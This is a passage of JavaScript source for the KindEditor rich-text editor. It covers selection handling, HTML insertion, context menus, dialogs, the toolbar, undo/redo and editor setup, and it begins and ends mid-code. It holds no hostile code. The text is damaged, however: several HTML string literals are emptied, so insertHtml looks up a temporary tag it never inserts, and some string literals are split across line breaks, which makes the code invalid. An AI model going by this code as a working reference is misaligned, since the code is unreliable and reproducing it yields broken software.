\s* \s*<\/p>\s*$/ig, ''); if (g.filterMode) { return KE.format.getHtml(html, g.htmlTags, g.urlType); } else { return KE.format.getHtml(html, null, g.urlType); } }, getData : function(id, wyswygMode) { var g = KE.g[id]; wyswygMode = (wyswygMode === undefined) ? g.wyswygMode : wyswygMode; if (!wyswygMode) { this.innerHtml(g.iframeDoc.body, KE.util.execSetHtmlHooks(id, g.newTextarea.value)); } return this.toData(id, g.iframeDoc.body.innerHTML); }, getSrcData : function(id) { var g = KE.g[id]; if (!g.wyswygMode) { this.innerHtml(g.iframeDoc.body, KE.util.execSetHtmlHooks(id, g.newTextarea.value)); } return g.iframeDoc.body.innerHTML; }, getPureData : function(id) { return this.extractText(this.getData(id)); }, extractText : function(str) { str = str.replace(/<(?!img|embed).*?>/ig, ''); str = str.replace(/ /ig, ' '); return str; }, isEmpty : function(id) { return this.getPureData(id).replace(/\r\n|\n|\r/, '').replace(/^\s+|\s+$/, '') === ''; }, setData : function(id) { var g = KE.g[id]; if (g.srcTextarea) g.srcTextarea.value = this.getData(id); }, focus : function(id) { var g = KE.g[id]; if (g.wyswygMode) { g.iframeWin.focus(); } else { g.newTextarea.focus(); } }, click : function(id, cmd) { this.focus(id); KE.hideMenu(id); KE.plugin[cmd].click(id); }, selection : function(id) { if (!KE.browser.IE || !KE.g[id].keRange) { this.setSelection(id); } }, setSelection : function(id) { var g = KE.g[id]; var keSel = new KE.selection(g.iframeDoc); if (!KE.browser.IE || keSel.range.item || keSel.range.parentElement().ownerDocument === g.iframeDoc) { g.keSel = keSel; g.keRange = g.keSel.keRange; g.sel = g.keSel.sel; g.range = g.keSel.range; } }, select : function(id) { if (KE.browser.IE && KE.g[id].wyswygMode && KE.g[id].range) KE.g[id].range.select(); }, execCommand : function(id, cmd, value) { KE.util.focus(id); KE.util.select(id); try { KE.g[id].iframeDoc.execCommand(cmd, false, value); } catch(e) {} KE.toolbar.updateState(id); KE.util.execOnchangeHandler(id); }, innerHtml : function(el, html) { if (KE.browser.IE) { el.innerHTML = '' + html; var temp = KE.$('__ke_temp_tag__', el.ownerDocument); if (temp) temp.parentNode.removeChild(temp); } else { el.innerHTML = html; } }, pasteHtml : function(id, html, isStart) { var g = KE.g[id]; var imgStr = ''; if (isStart) html = imgStr + html; else html += imgStr; if (KE.browser.IE) { if (g.range.item) g.range.item(0).outerHTML = html; else g.range.pasteHTML(html); } else { g.range.deleteContents(); var frag = g.range.createContextualFragment(html); g.range.insertNode(frag); } var node = KE.$('__ke_temp_tag__', g.iframeDoc); var blank = g.iframeDoc.createTextNode(''); node.parentNode.replaceChild(blank, node); g.keRange.selectNode(blank); g.keSel.addRange(g.keRange); }, insertHtml : function(id, html) { if (html === '') return; var g = KE.g[id]; if (!g.wyswygMode) return; if (!g.range) return; html = this.execSetHtmlHooks(id, html); if (KE.browser.IE) { this.select(id); if (g.range.item) { try { g.range.item(0).outerHTML = html; } catch(e) { var el = g.range.item(0); var parent = el.parentNode; parent.removeChild(el); if (parent.nodeName.toLowerCase() != 'body') parent = parent.parentNode; this.innerHtml(parent, html + parent.innerHTML); } } else { g.range.pasteHTML(html); } } else if (KE.browser.GECKO && KE.browser.VERSION < 3) { this.execCommand(id, 'inserthtml', html); return; } else { this.pasteHtml(id, html); } KE.util.execOnchangeHandler(id); }, setFullHtml : function(id, html) { var g = KE.g[id]; if (!KE.browser.IE && html === '') html = '
'; var html = KE.util.execSetHtmlHooks(id, html); this.innerHtml(g.iframeDoc.body, html); if (!g.wyswygMode) g.newTextarea.value = KE.util.getData(id, true); KE.util.execOnchangeHandler(id); }, selectImageWebkit : function(id, e, isSelection) { if (KE.browser.WEBKIT) { var target = e.srcElement || e.target; if (target.tagName.toLowerCase() == 'img') { if (isSelection) KE.util.selection(id); var range = KE.g[id].keRange; range.selectNode(target); KE.g[id].keSel.addRange(range); } } }, addTabEvent : function(id) { KE.event.add(KE.g[id].iframeDoc, 'keydown', function(e) { if (e.keyCode == 9) { KE.util.setSelection(id); KE.util.insertHtml(id, '    '); KE.event.stop(e); return false; } }, id); }, addContextmenuEvent : function(id) { var g = KE.g[id]; if (g.contextmenuItems.length == 0) return; KE.event.add(g.iframeDoc, 'contextmenu', function(e){ KE.hideMenu(id); KE.util.setSelection(id); KE.util.selectImageWebkit(id, e, false); var maxWidth = 0; var items = []; for (var i = 0, len = g.contextmenuItems.length; i < len; i++) { var item = g.contextmenuItems[i]; if (item === '-') { items.push(item); } else if (item.cond && item.cond(id)) { items.push(item); if (item.options) { var width = parseInt(item.options.width) || 0; if (width > maxWidth) maxWidth = width; } } prevItem = item; } while (items.length > 0 && items[0] === '-') { items.shift(); } while (items.length > 0 && items[items.length - 1] === '-') { items.pop(); } var prevItem = null; for (var i = 0, len = items.length; i < len; i++) { if (items[i] === '-' && prevItem === '-') delete items[i]; prevItem = items[i] || null; } if (items.length > 0) { var menu = new KE.menu({ id : id, event : e, type : 'contextmenu', width : maxWidth }); for (var i = 0, len = items.length; i < len; i++) { var item = items[i]; if (!item) continue; if (item === '-') { if (i < len - 1) menu.addSeparator(); } else { menu.add(item.text, (function(item) { return function() { item.click(id, menu); }; })(item), item.options); } } menu.show(); KE.event.stop(e); return false; } return true; }, id); }, addNewlineEvent : function(id) { var g = KE.g[id]; if (KE.browser.IE && g.newlineTag.toLowerCase() != 'br') return; if (KE.browser.GECKO && KE.browser.VERSION < 3 && g.newlineTag.toLowerCase() != 'p') return; if (KE.browser.OPERA) return; KE.event.add(g.iframeDoc, 'keydown', function(e) { if (e.keyCode != 13 || e.shiftKey || e.ctrlKey || e.altKey) return true; KE.util.setSelection(id); var parent = g.keRange.getParentElement(); if (KE.util.inMarquee(parent)) return; var tagName = parent.tagName.toLowerCase(); if (g.newlineTag.toLowerCase() == 'br') { if (!KE.util.inArray(tagName, ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'li'])) { KE.util.pasteHtml(id, '
'); var nextNode = g.keRange.startNode.nextSibling; if (KE.browser.IE) { if (!nextNode) KE.util.pasteHtml(id, '
', true); } else if (KE.browser.WEBKIT) { if (!nextNode) { KE.util.pasteHtml(id, '
', true); } else { var range = new KE.range(g.iframeDoc); range.selectNode(nextNode.parentNode); range.setStart(nextNode, 0); if (range.cloneContents().innerHTML.replace(/<(?!img|embed).*?>/ig, '') === '') { KE.util.pasteHtml(id, '
', true); } } } KE.event.stop(e); return false; } } else { if (!KE.util.inArray(tagName, ['p', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'pre', 'div', 'li'])) { KE.util.execCommand(id, 'formatblock', '

'); } } return true; }, id); } }; KE.layout = { hide : function(id) { var g = KE.g[id]; KE.hideMenu(id); var stack = g.dialogStack; while (stack.length > 0) { var dialog = stack[stack.length - 1]; dialog.hide(); } g.maskDiv.style.display = 'none'; } }; KE.hideMenu = function(id) { var g = KE.g[id]; g.hideDiv.innerHTML = ''; g.hideDiv.style.display = 'none'; }; KE.colorpicker = function(arg) { var wrapper; var x = arg.x || 0; var y = arg.y || 0; var z = arg.z || 0; var colors = arg.colors || KE.setting.colorTable; var doc = arg.doc || document; var onclick = arg.onclick; var selectedColor = (arg.selectedColor || '').toLowerCase(); function init() { wrapper = KE.$$('div'); wrapper.className = 'ke-colorpicker'; wrapper.style.top = y + 'px'; wrapper.style.left = x + 'px'; wrapper.style.zIndex = z; } init.call(this); this.remove = function() { doc.body.removeChild(wrapper); }; this.getElement = function() { function addAttr(cell, color, cls) { if (selectedColor === color.toLowerCase()) cls += ' ke-colorpicker-cell-selected'; cell.className = cls; cell.title = color || KE.lang['noColor']; cell.onmouseover = function() { this.className = cls + ' ke-colorpicker-cell-on'; }; cell.onmouseout = function() { this.className = cls; }; cell.onclick = function() { onclick(color); }; if (color) { var div = KE.$$('div'); div.className = 'ke-colorpicker-cell-color'; div.style.backgroundColor = color; cell.appendChild(div); } else { cell.innerHTML = KE.lang['noColor']; } } var table = KE.$$('table'); table.className = 'ke-colorpicker-table'; table.cellPadding = 0; table.cellSpacing = 0; table.border = 0; var row = table.insertRow(0), cell = row.insertCell(0); cell.colSpan = colors[0].length; addAttr(cell, '', 'ke-colorpicker-cell-top'); for (var i = 0; i < colors.length; i++) { var row = table.insertRow(i + 1); for (var j = 0; j < colors[i].length; j++) { var color = colors[i][j], cell = row.insertCell(j); addAttr(cell, color, 'ke-colorpicker-cell'); } } return table; }; this.create = function() { wrapper.appendChild(this.getElement()); KE.event.bind(wrapper, 'click', function(e){}); KE.event.bind(wrapper, 'mousedown', function(e){}); doc.body.appendChild(wrapper); }; }; KE.menu = function(arg){ function getPos(width, height) { var id = arg.id; var x = 0; var y = 0; if (this.type == 'menu') { var obj = KE.g[id].toolbarIcon[arg.cmd]; var pos = KE.util.getElementPos(obj[0]); x = pos.x; y = pos.y + obj[0].offsetHeight; } else { var pos = KE.util.getCoords(arg.event); var iframePos = KE.util.getElementPos(KE.g[id].iframe); x = pos.x + iframePos.x; y = pos.y + iframePos.y + 5; } if (width > 0 || height > 0) { var scrollPos = KE.util.getScrollPos(); var docEl = KE.util.getDocumentElement(); var maxLeft = scrollPos.x + docEl.clientWidth - width - 2; if (x > maxLeft) x = maxLeft; } return {x : x, y : y}; }; function init() { var width = arg.width; this.type = (arg.type && arg.type == 'contextmenu') ? arg.type : 'menu'; var div = KE.$$('div'); div.className = 'ke-' + this.type; div.setAttribute('name', arg.cmd); var pos = getPos.call(this, 0, 0); div.style.top = pos.y + 'px'; div.style.left = pos.x + 'px'; if (arg.width) div.style.width = (/^\d+$/.test(width)) ? width + 'px' : width; KE.event.bind(div, 'click', function(e){}, arg.id); KE.event.bind(div, 'mousedown', function(e){}, arg.id); this.div = div; }; init.call(this); this.add = function(html, event, options) { var height, iconHtml, checked = false; if (options !== undefined) { height = options.height; iconHtml = options.iconHtml; checked = options.checked; } var self = this; var cDiv = KE.$$('div'); cDiv.className = 'ke-' + self.type + '-item'; if (height) cDiv.style.height = height; var left = KE.$$('div'); left.className = 'ke-' + this.type + '-left'; var center = KE.$$('div'); center.className = 'ke-' + self.type + '-center'; if (height) center.style.height = height; var right = KE.$$('div'); right.className = 'ke-' + this.type + '-right'; if (height) right.style.lineHeight = height; cDiv.onmouseover = function() { this.className = 'ke-' + self.type + '-item ke-' + self.type + '-item-on'; center.className = 'ke-' + self.type + '-center ke-' + self.type + '-center-on'; }; cDiv.onmouseout = function() { this.className = 'ke-' + self.type + '-item'; center.className = 'ke-' + self.type + '-center'; }; cDiv.onclick = event; cDiv.appendChild(left); cDiv.appendChild(center); cDiv.appendChild(right); if (checked) { KE.util.innerHtml(left, ''); } else { if (iconHtml) KE.util.innerHtml(left, iconHtml); } KE.util.innerHtml(right, html); this.append(cDiv); }; this.addSeparator = function() { var div = KE.$$('div'); div.className = 'ke-' + this.type + '-separator'; this.append(div); }; this.append = function(el) { this.div.appendChild(el); }; this.insert = function(html) { KE.util.innerHtml(this.div, html); }; this.hide = function() { KE.hideMenu(arg.id); }; this.show = function() { this.hide(); var id = arg.id; KE.g[id].hideDiv.style.display = ''; KE.g[id].hideDiv.appendChild(this.div); var pos = getPos.call(this, this.div.clientWidth, this.div.clientHeight); this.div.style.top = pos.y + 'px'; this.div.style.left = pos.x + 'px'; }; this.picker = function(color) { var colorTable = KE.g[arg.id].colorTable; var picker = new KE.colorpicker({ colors : colorTable, onclick : function(color) { KE.plugin[arg.cmd].exec(arg.id, color); }, selectedColor : color }); this.append(picker.getElement()); this.show(); }; }; KE.dialog = function(arg){ var self = this; this.widthMargin = 30; this.heightMargin = 100; this.zIndex = 19811214; this.width = arg.width; this.height = arg.height; var minTop, minLeft; function setLimitNumber() { var docEl = KE.util.getDocumentElement(); var pos = KE.util.getScrollPos(); minTop = pos.y; minLeft = pos.x; } function init() { this.beforeHide = arg.beforeHide; this.afterHide = arg.afterHide; this.beforeShow = arg.beforeShow; this.afterShow = arg.afterShow; this.ondrag = arg.ondrag; } init.call(this); function getPos() { var width = this.width + this.widthMargin; var height = this.height + this.heightMargin; var id = arg.id; var g = KE.g[id]; var x = 0, y = 0; if (g.dialogAlignType == 'page') { var el = KE.util.getDocumentElement(); var scrollPos = KE.util.getScrollPos(); x = Math.round(scrollPos.x + (el.clientWidth - width) / 2); y = Math.round(scrollPos.y + (el.clientHeight - height) / 2); } else { var pos = KE.util.getElementPos(KE.g[id].container); var el = g.container; var xDiff = Math.round(el.clientWidth / 2) - Math.round(width / 2); var yDiff = Math.round(el.clientHeight / 2) - Math.round(height / 2); x = xDiff < 0 ? pos.x : pos.x + xDiff; y = yDiff < 0 ? pos.y : pos.y + yDiff; } x = x < 0 ? 0 : x; y = y < 0 ? 0 : y; return {x : x, y : y}; }; this.resize = function(width, height) { if (width) this.width = width; if (height) this.height = height; this.hide(); this.show(); }; this.hide = function() { if (this.beforeHide) this.beforeHide(id); var id = arg.id; var stack = KE.g[id].dialogStack; if (stack[stack.length - 1] != this) return; var dialog = stack.pop(); var iframe = dialog.iframe; iframe.src = 'javascript:false'; iframe.parentNode.removeChild(iframe); document.body.removeChild(this.div); if (stack.length < 1) { KE.g[id].maskDiv.style.display = 'none'; } KE.event.remove(window, 'resize', setLimitNumber); KE.event.remove(window, 'scroll', setLimitNumber); if (this.afterHide) this.afterHide(id); KE.util.focus(id); }; this.show = function() { if (this.beforeShow) this.beforeShow(id); var self = this; var id = arg.id; var div = KE.$$('div'); div.className = 'ke-dialog'; KE.event.bind(div, 'click', function(e){}, id); KE.event.bind(div, 'mousedown', function(e){}, id); var stack = KE.g[id].dialogStack; if (stack.length > 0) { this.zIndex = stack[stack.length - 1].zIndex + 1; } div.style.zIndex = this.zIndex; var pos = getPos.call(this); div.style.top = pos.y + 'px'; div.style.left = pos.x + 'px'; var contentCell; if (KE.g[id].shadowMode) { var table = KE.$$('table'); table.className = 'ke-dialog-table'; table.cellPadding = 0; table.cellSpacing = 0; table.border = 0; var rowNames = ['t', 'm', 'b']; var colNames = ['l', 'c', 'r']; for (var i = 0, len = 3; i < len; i++) { var row = table.insertRow(i); for (var j = 0, l = 3; j < l; j++) { var cell = row.insertCell(j); cell.className = 'ke-' + rowNames[i] + colNames[j]; if (i == 1 && j == 1) contentCell = cell; else cell.innerHTML = ''; } } div.appendChild(table); } else { KE.addClass(div, 'ke-dialog-no-shadow'); contentCell = div; } var titleDiv = KE.$$('div'); titleDiv.className = 'ke-dialog-title'; titleDiv.innerHTML = arg.title; var span = KE.$$('span'); span.className = 'ke-dialog-close'; if (KE.g[id].shadowMode) KE.addClass(span, 'ke-dialog-close-shadow'); else KE.addClass(span, 'ke-dialog-close-no-shadow'); span.alt = KE.lang['close']; span.title = KE.lang['close']; span.onclick = function () { self.hide(); KE.util.select(id); }; titleDiv.appendChild(span); setLimitNumber(); KE.event.add(window, 'resize', setLimitNumber); KE.event.add(window, 'scroll', setLimitNumber); KE.util.drag(id, titleDiv, div, function(objTop, objLeft, objWidth, objHeight, top, left) { if (self.ondrag) self.ondrag(id); setLimitNumber(); top = objTop + top; left = objLeft + left; if (top < minTop) top = minTop; if (left < minLeft) left = minLeft; div.style.top = top + 'px'; div.style.left = left + 'px'; }); contentCell.appendChild(titleDiv); var bodyDiv = KE.$$('div'); bodyDiv.className = 'ke-dialog-body'; var loadingTable = KE.util.createTable(); loadingTable.table.className = 'ke-loading-table'; loadingTable.table.style.width = this.width + 'px'; loadingTable.table.style.height = this.height + 'px'; var loadingImg = KE.$$('span'); loadingImg.className = 'ke-loading-img'; loadingTable.cell.appendChild(loadingImg); var iframe = (KE.g[id].dialogStack.length == 0 && KE.g[id].dialog) ? KE.g[id].dialog : KE.$$('iframe'); if (arg.useFrameCSS) { iframe.className = 'ke-dialog-iframe ke-dialog-iframe-border'; } else { iframe.className = 'ke-dialog-iframe'; } iframe.setAttribute("frameBorder", "0"); iframe.style.width = this.width + 'px'; iframe.style.height = this.height + 'px'; iframe.style.display = 'none'; bodyDiv.appendChild(iframe); bodyDiv.appendChild(loadingTable.table); contentCell.appendChild(bodyDiv); var bottomDiv = KE.$$('div'); bottomDiv.className = 'ke-dialog-bottom'; var noButton = null; var yesButton = null; var previewButton = null; if (arg.previewButton) { previewButton = KE.$$('input'); previewButton.className = 'ke-button ke-dialog-preview'; previewButton.type = 'button'; previewButton.name = 'previewButton'; previewButton.value = arg.previewButton; previewButton.onclick = function() { var stack = KE.g[id].dialogStack; if (stack[stack.length - 1] == self) { KE.plugin[arg.cmd].preview(id); } }; bottomDiv.appendChild(previewButton); } if (arg.yesButton) { yesButton = KE.$$('input'); yesButton.className = 'ke-button ke-dialog-yes'; yesButton.type = 'button'; yesButton.name = 'yesButton'; yesButton.value = arg.yesButton; yesButton.onclick = function() { var stack = KE.g[id].dialogStack; if (stack[stack.length - 1] == self) { KE.plugin[arg.cmd].exec(id); } }; bottomDiv.appendChild(yesButton); } if (arg.noButton) { noButton = KE.$$('input'); noButton.className = 'ke-button ke-dialog-no'; noButton.type = 'button'; noButton.name = 'noButton'; noButton.value = arg.noButton; noButton.onclick = function () { self.hide(); KE.util.select(id); }; bottomDiv.appendChild(noButton); } if (arg.yesButton || arg.noButton || arg.previewButton) { contentCell.appendChild(bottomDiv); } document.body.appendChild(div); window.focus(); if (yesButton) yesButton.focus(); else if (noButton) noButton.focus(); if (arg.html !== undefined) { var dialogDoc = KE.util.getIframeDoc(iframe); var html = KE.util.getFullHtml(id); dialogDoc.open(); dialogDoc.write(html); dialogDoc.close(); KE.util.innerHtml(dialogDoc.body, arg.html); } else if (arg.url !== undefined) { iframe.src = arg.url; } else { var param = 'id=' + escape(id) + '&ver=' + escape(KE.version); if (arg.file === undefined) { iframe.src = KE.g[id].pluginsPath + arg.cmd + '.html?' + param; } else { param = (/\?/.test(arg.file) ? '&' : '?') + param; iframe.src = KE.g[id].pluginsPath + arg.file + param; } } KE.g[id].maskDiv.style.width = KE.util.getDocumentWidth() + 'px'; KE.g[id].maskDiv.style.height = KE.util.getDocumentHeight() + 'px'; KE.g[id].maskDiv.style.display = 'block'; this.iframe = iframe; this.loading = loadingTable.table; this.noButton = noButton; this.yesButton = yesButton; this.previewButton = previewButton; this.div = div; KE.g[id].dialogStack.push(this); KE.g[id].dialog = iframe; KE.g[id].yesButton = yesButton; KE.g[id].noButton = noButton; KE.g[id].previewButton = previewButton; if (!arg.loadingMode) KE.util.hideLoadingPage(id); if (this.afterShow) this.afterShow(id); if (KE.g[id].afterDialogCreate) KE.g[id].afterDialogCreate(id); }; }; KE.toolbar = { updateState : function(id) { var cmdList = [ 'justifyleft', 'justifycenter', 'justifyright', 'justifyfull', 'insertorderedlist', 'insertunorderedlist', 'indent', 'outdent', 'subscript','superscript', 'bold', 'italic', 'underline', 'strikethrough' ]; for (var i = 0; i < cmdList.length; i++) { var cmd = cmdList[i]; var state = false; try { state = KE.g[id].iframeDoc.queryCommandState(cmd); } catch(e) {} if (state) { KE.toolbar.select(id, cmd); } else { KE.toolbar.unselect(id, cmd); } } }, isSelected : function(id, cmd) { if (KE.plugin[cmd] && KE.plugin[cmd].isSelected) return true; else return false; }, select : function(id, cmd) { if (KE.g[id].toolbarIcon[cmd]) { var a = KE.g[id].toolbarIcon[cmd][0]; a.className = 'ke-icon ke-icon-selected'; a.onmouseover = null; a.onmouseout = null; } }, unselect : function(id, cmd) { if (KE.g[id].toolbarIcon[cmd]) { var a = KE.g[id].toolbarIcon[cmd][0]; a.className = 'ke-icon'; a.onmouseover = function(){ this.className = 'ke-icon ke-icon-on'; }; a.onmouseout = function(){ this.className = 'ke-icon'; }; } }, _setAttr : function(id, a, cmd) { a.className = 'ke-icon'; a.href = 'javascript:;'; a.onclick = function(e) { e = e || window.event; var div = KE.g[id].hideDiv.firstChild; if (div && div.getAttribute('name') == cmd) { KE.hideMenu(id); } else { KE.util.click(id, cmd); } if (e.preventDefault) e.preventDefault(); if (e.stopPropagation) e.stopPropagation(); if (e.cancelBubble !== undefined) e.cancelBubble = true; return false; }; a.onmouseover = function(){ this.className = 'ke-icon ke-icon-on'; }; a.onmouseout = function(){ this.className = 'ke-icon'; }; a.hidefocus = true; a.title = KE.lang[cmd]; }, able : function(id, arr) { var self = this; KE.each(KE.g[id].toolbarIcon, function(cmd, obj) { if (!KE.util.inArray(cmd, arr)) { var a = obj[0]; var span = obj[1]; self._setAttr(id, a, cmd); KE.util.setOpacity(span, 100); } }); }, disable : function(id, arr) { KE.each(KE.g[id].toolbarIcon, function(cmd, obj) { if (!KE.util.inArray(cmd, arr)) { var a = obj[0]; var span = obj[1]; a.className = 'ke-icon ke-icon-disabled'; KE.util.setOpacity(span, 50); a.onclick = null; a.onmouseover = null; a.onmouseout = null; } }); }, create : function(id) { var self = this; var defaultItemHash = KE.util.arrayToHash(KE.setting.items); KE.g[id].toolbarIcon = []; var tableObj = KE.util.createTable(); var toolbar = tableObj.table; toolbar.className = 'ke-toolbar'; toolbar.oncontextmenu = function() { return false; }; toolbar.onmousedown = function() { return false; }; toolbar.onmousemove = function() { return false; }; var toolbarCell = tableObj.cell; var length = KE.g[id].items.length; var cellNum = 0; var row; KE.g[id].toolbarHeight = KE.g[id].toolbarLineHeight; for (var i = 0; i < length; i++) { var cmd = KE.g[id].items[i]; if (i == 0 || cmd == '-') { var table = KE.util.createTable().table; table.className = 'ke-toolbar-table'; row = table.insertRow(0); cellNum = 0; toolbarCell.appendChild(table); if (cmd == '-') { KE.g[id].toolbarHeight += KE.g[id].toolbarLineHeight; continue; } } var cell = row.insertCell(cellNum); cell.hideforcus = true; cellNum++; if (cmd == '|') { var div = KE.$$('div'); div.className = 'ke-toolbar-separator'; cell.appendChild(div); continue; } var a = KE.$$('a'); self._setAttr(id, a, cmd); var span = KE.$$('span'); if (typeof defaultItemHash[cmd] == 'undefined') { span.className = 'ke-common-icon ke-icon-' + cmd; } else { span.className = 'ke-common-icon ke-common-icon-url ke-icon-' + cmd; } a.appendChild(span); cell.appendChild(a); KE.g[id].toolbarIcon[cmd] = [a, span]; if (KE.toolbar.isSelected(id, cmd)) KE.toolbar.select(id, cmd); } return toolbar; } }; KE.history = { addStackData : function(stack, data) { var prev = ''; if (stack.length > 0) { prev = stack[stack.length - 1]; } if (stack.length == 0 || data !== prev) stack.push(data); }, add : function(id, minChangeSize) { var g = KE.g[id]; var html = KE.util.getSrcData(id); if (g.undoStack.length > 0) { var prevHtml = g.undoStack[g.undoStack.length - 1]; if (Math.abs(html.length - prevHtml.length) < minChangeSize) return; } this.addStackData(g.undoStack, html); }, undo : function(id) { var g = KE.g[id]; if (g.undoStack.length == 0) return; var html = KE.util.getSrcData(id); this.addStackData(g.redoStack, html); var prevHtml = g.undoStack.pop(); if (html === prevHtml && g.undoStack.length > 0) { prevHtml = g.undoStack.pop(); } prevHtml = KE.util.toData(id, prevHtml); if (g.wyswygMode) { KE.util.innerHtml(g.iframeDoc.body, KE.util.execSetHtmlHooks(id, prevHtml)); } else { g.newTextarea.value = prevHtml; } }, redo : function(id) { var g = KE.g[id]; if (g.redoStack.length == 0) return; var html = KE.util.getSrcData(id); this.addStackData(g.undoStack, html); var nextHtml = g.redoStack.pop(); nextHtml = KE.util.toData(id, nextHtml); if (g.wyswygMode) { KE.util.innerHtml(g.iframeDoc.body, KE.util.execSetHtmlHooks(id, nextHtml)); } else { g.newTextarea.value = nextHtml; } } }; KE.readonly = function(id, isReadonly) { isReadonly = isReadonly == undefined ? true : isReadonly; var g = KE.g[id]; if (KE.browser.IE) g.iframeDoc.body.contentEditable = isReadonly ? 'false' : 'true'; else g.iframeDoc.designMode = isReadonly ? 'off' : 'on'; }; KE.focus = function(id, position) { position = (position || '').toLowerCase(); if (!KE.g[id].container) return; KE.util.focus(id); if (position === 'end') { KE.util.setSelection(id); if (!KE.g[id].sel) return; //issue #120: Sometimes Firefox does not get selection var sel = KE.g[id].keSel, range = KE.g[id].keRange, doc = KE.g[id].iframeDoc; range.selectTextNode(doc.body); range.collapse(false); sel.addRange(range); } }; KE.html = function(id, val) { if (val === undefined) { return KE.util.getData(id); } else { if (!KE.g[id].container) return; KE.util.setFullHtml(id, val); KE.focus(id, 'end'); } }; KE.text = function(id, val) { if (val === undefined) { val = KE.html(id); val = val.replace(/<.*?>/ig, ''); val = val.replace(/ /ig, ' '); val = KE.util.trim(val); return val; } else { KE.html(id, KE.util.escape(val)); } }; KE.insertHtml = function(id, val) { if (!KE.g[id].container) return; var range = KE.g[id].range; if (!range) { KE.appendHtml(id, val); } else { KE.focus(id); KE.util.selection(id); KE.util.insertHtml(id, val); } }; KE.appendHtml = function(id, val) { KE.html(id, KE.html(id) + val); KE.focus(id, 'end'); }; KE.isEmpty = function(id) { return KE.util.isEmpty(id); }; KE.selectedHtml = function(id) { var range = KE.g[id].range; if (!range) return ''; var html = ''; if (KE.browser.IE) { if (range.item) { html = range.item(0).outerHTML; } else { html = range.htmlText; } } else { var temp = KE.$$('div', KE.g[id].iframeDoc); temp.appendChild(range.cloneContents()); html = temp.innerHTML; } return KE.util.toData(id, html); }; KE.count = function(id, mode) { mode = (mode || 'html').toLowerCase(); if (mode === 'html') { return KE.html(id).length; } else if (mode === 'text') { var data = KE.util.getPureData(id); data = data.replace(/<(?:img|embed).*?>/ig, 'K'); data = data.replace(/\r\n|\n|\r/g, ''); data = KE.util.trim(data); return data.length; } return 0; }; KE.remove = function(id, mode) { var g = KE.g[id]; if (!g.container) return false; mode = (typeof mode == "undefined") ? 0 : mode; KE.util.setData(id); var container = g.container; var eventStack = g.eventStack; for (var i = 0, len = eventStack.length; i < len; i++) { var item = eventStack[i]; if (item) KE.event.remove(item.el, item.type, item.fn, id); } g.iframeDoc.src = 'javascript:false'; g.iframe.parentNode.removeChild(g.iframe); if (mode == 1) { document.body.removeChild(container); } else { var srcTextarea = g.srcTextarea; srcTextarea.parentNode.removeChild(container); if (mode == 0) srcTextarea.style.display = ''; } document.body.removeChild(g.hideDiv); document.body.removeChild(g.maskDiv); g.container = null; g.dialogStack = []; g.contextmenuItems = []; g.getHtmlHooks = []; g.setHtmlHooks = []; g.onchangeHandlerStack = []; g.eventStack = []; }; KE.create = function(id, mode) { if (KE.g[id].beforeCreate) KE.g[id].beforeCreate(id); if (KE.browser.IE && KE.browser.VERSION < 7) try { document.execCommand('BackgroundImageCache', false, true); }catch(e){} var srcTextarea = KE.$(id) || document.getElementsByName(id)[0]; mode = (typeof mode == "undefined") ? 0 : mode; if (mode == 0 && KE.g[id].container) return; var width = KE.g[id].width || srcTextarea.style.width || srcTextarea.offsetWidth + 'px'; var height = KE.g[id].height || srcTextarea.style.height || srcTextarea.offsetHeight + 'px'; var tableObj = KE.util.createTable(); var container = tableObj.table; container.className = 'ke-container'; container.style.width = width; container.style.height = height; var toolbarOuter = tableObj.cell; toolbarOuter.className = 'ke-toolbar-outer'; var textareaOuter = container.insertRow(1).insertCell(0); textareaOuter.className = 'ke-textarea-outer'; tableObj = KE.util.createTable(); var textareaTable = tableObj.table; textareaTable.className = 'ke-textarea-table'; var textareaCell = tableObj.cell; textareaOuter.appendChild(textareaTable); var bottomOuter = container.insertRow(2).insertCell(0); bottomOuter.className = 'ke-bottom-outer'; srcTextarea.style.display = 'none'; if (mode == 1) document.body.appendChild(container); else srcTextarea.parentNode.insertBefore(container, srcTextarea); var toolbarTable = KE.toolbar.create(id); toolbarTable.style.height = KE.g[id].toolbarHeight + 'px'; toolbarOuter.appendChild(toolbarTable); var iframe = KE.g[id].iframe || KE.$$('iframe'); iframe.className = 'ke-iframe'; iframe.setAttribute("frameBorder", "0"); var newTextarea = KE.$$('textarea'); newTextarea.className = 'ke-textarea'; newTextarea.style.display = 'none'; KE.g[id].container = container; KE.g[id].iframe = iframe; KE.g[id].newTextarea = newTextarea; KE.util.resize(id, width, height); textareaCell.appendChild(iframe); textareaCell.appendChild(newTextarea); var bottom = KE.$$('table'); bottom.className = 'ke-bottom'; bottom.cellPadding = 0; bottom.cellSpacing = 0; bottom.border = 0; bottom.style.height = KE.g[id].statusbarHeight + 'px'; var row = bottom.insertRow(0); var bottomLeft = row.insertCell(0); bottomLeft.className = 'ke-bottom-left'; var leftImg = KE.$$('span'); leftImg.className = 'ke-bottom-left-img'; if (KE.g[id].config.resizeMode == 0 || mode == 1) { bottomLeft.style.cursor = 'default'; leftImg.style.visibility = 'hidden'; } bottomLeft.appendChild(leftImg); var bottomRight = row.insertCell(1); bottomRight.className = 'ke-bottom-right'; var rightImg = KE.$$('span'); rightImg.className = 'ke-bottom-right-img'; if (KE.g[id].config.resizeMode == 0 || mode == 1) { bottomRight.style.cursor = 'default'; rightImg.style.visibility = 'hidden'; } else if (KE.g[id].config.resizeMode == 1) { bottomRight.style.cursor = 's-resize'; rightImg.style.visibility = 'hidden'; } bottomRight.appendChild(rightImg); bottomOuter.appendChild(bottom); var hideDiv = KE.$$('div'); hideDiv.className = 'ke-reset'; hideDiv.style.display = 'none'; var maskDiv = KE.$$('div'); maskDiv.className = 'ke-mask'; KE.util.setOpacity(maskDiv, 50); KE.event.bind(maskDiv, 'click', function(e){}, id); KE.event.bind(maskDiv, 'mousedown', function(e){}, id); document.body.appendChild(hideDiv); document.body.appendChild(maskDiv); KE.util.setDefaultPlugin(id); var iframeWin = iframe.contentWindow; var iframeDoc = KE.util.getIframeDoc(iframe); if (!KE.browser.IE || KE.browser.VERSION < 8) iframeDoc.designMode = 'on'; var html = KE.util.getFullHtml(id); iframeDoc.open(); iframeDoc.write(html); iframeDoc.close(); if (!KE.g[id].wyswygMode) { newTextarea.value = KE.util.execSetHtmlHooks(id, srcTextarea.value); newTextarea.style.display = 'block'; iframe.style.display = 'none'; KE.toolbar.disable(id, ['source', 'fullscreen']); KE.toolbar.select(id, 'source'); } function hideMenu() { KE.hideMenu(id); } function updateToolbar() { KE.toolbar.updateState(id); } if 